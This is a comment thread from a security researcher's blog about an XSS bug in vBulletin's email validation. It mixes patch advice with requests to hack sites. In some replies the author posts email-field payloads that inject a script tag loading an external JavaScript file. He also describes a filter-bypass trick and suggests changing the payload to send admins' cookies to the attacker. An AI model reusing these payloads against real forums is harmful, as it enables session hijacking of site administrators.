imei Addmimistrator’s BugBlog

19 Responses to “vBulletin3.0.12&3.5.3~is_valid_email()~XSS Attack”

http://www.vbulletin.com/forum/showthread.php?t=176170
http://www.vbulletin.com/forum/showthread.php?t=176176

Left by imei on February 24th, 2006

baba inkaare!!!!!

Left by Folaani on March 8th, 2006

How we can do it?How we can hack a site by using this way

Left by OpTiMuS on March 12th, 2006

did your target forum has above mentioned conditions?
if yeah, enter exp text as your email and send a link of sendmsg.php to admins. you should alter that text to send his cookies to your script.
i am sorry about more detailes. we dont wana TEACH hack.
however there are many documents about XSS hacking.
regs
imei

Left by imei on March 12th, 2006

how can i close that bug??

reg

jeme

Left by jeme on March 12th, 2006

upgrade plz. vb provids a patch for this bug.(I concert with them and didnt public this vefor awaring vendor) 3.0.13 is patched for 3.0.12 and 3.5.4 is safe version of whom that have 3.5.3 version.
be beauty.
imei

Left by imei on March 13th, 2006

if you really can hack vBulletin Version 3.5.3 then ill give you money just contact me and we will have a deal

Left by Emad on April 27th, 2006

ِDear Emad.
It is a website for going to a SeQre world~ not a “How to hack” one. I dont need to show can i or can not i hack a vbulletin system. what that i need was what i got it! security sites, also vbulletin.com itself verified this bug and all things are ok!
btw if you’d like to learn XSS I can help you;)

Left by imei on April 27th, 2006

http://www.securityfocus.com/bid/16919

Left by imei on April 28th, 2006

More serious code than alert(1) cannot be typed due to length limitation (50). I even cannot call this bug “vulnerability”.

Left by Trasser on May 3rd, 2006

Exploiting a bug is another science in comparision with finding bug. security bugs have not need to have a clear exploit for calling them “vulnerability”.
btw i didnt want to spend more time for a patched and accepted bug but you as an interested person may like work on this one!

i{at}ii.ii”><script src=”aaa.aa/a.js”></script>.no

Left by imei on May 4th, 2006

“

Left by Trasser on May 17th, 2006

2IMEI: spaces are not allowed, this e-mail will be errorneous.

Left by Trasser on May 17th, 2006

i{at}ii.ii”><script”"src=”aaa.aa/a.js”></script>.no

What about this dear?

Left by imei on May 17th, 2006

Nothing. %20 not allowed, %a0 allowed but doesn’t work, ”” also allowed but doesn’t work.

Left by Trasser on May 18th, 2006

Work on it Trasser. there is some trix about XSS, i show you one of them. as a ultimate solution I offer you : Dont close <a tag that shows the mail link. after that you can inject events without space seperator;))
regs

Left by imei on May 20th, 2006

man,,thanx for this one,,can i know wer r u from ?

Left by JustMe on May 25th, 2006

Yes Sir. It is my About Me
http://myimei.com/security/about-me/

Left by imei on May 26th, 2006

can i have the best exploit plz ??

Left by SjK on May 27th, 2006

Something to say?

You must be logged in to post a comment.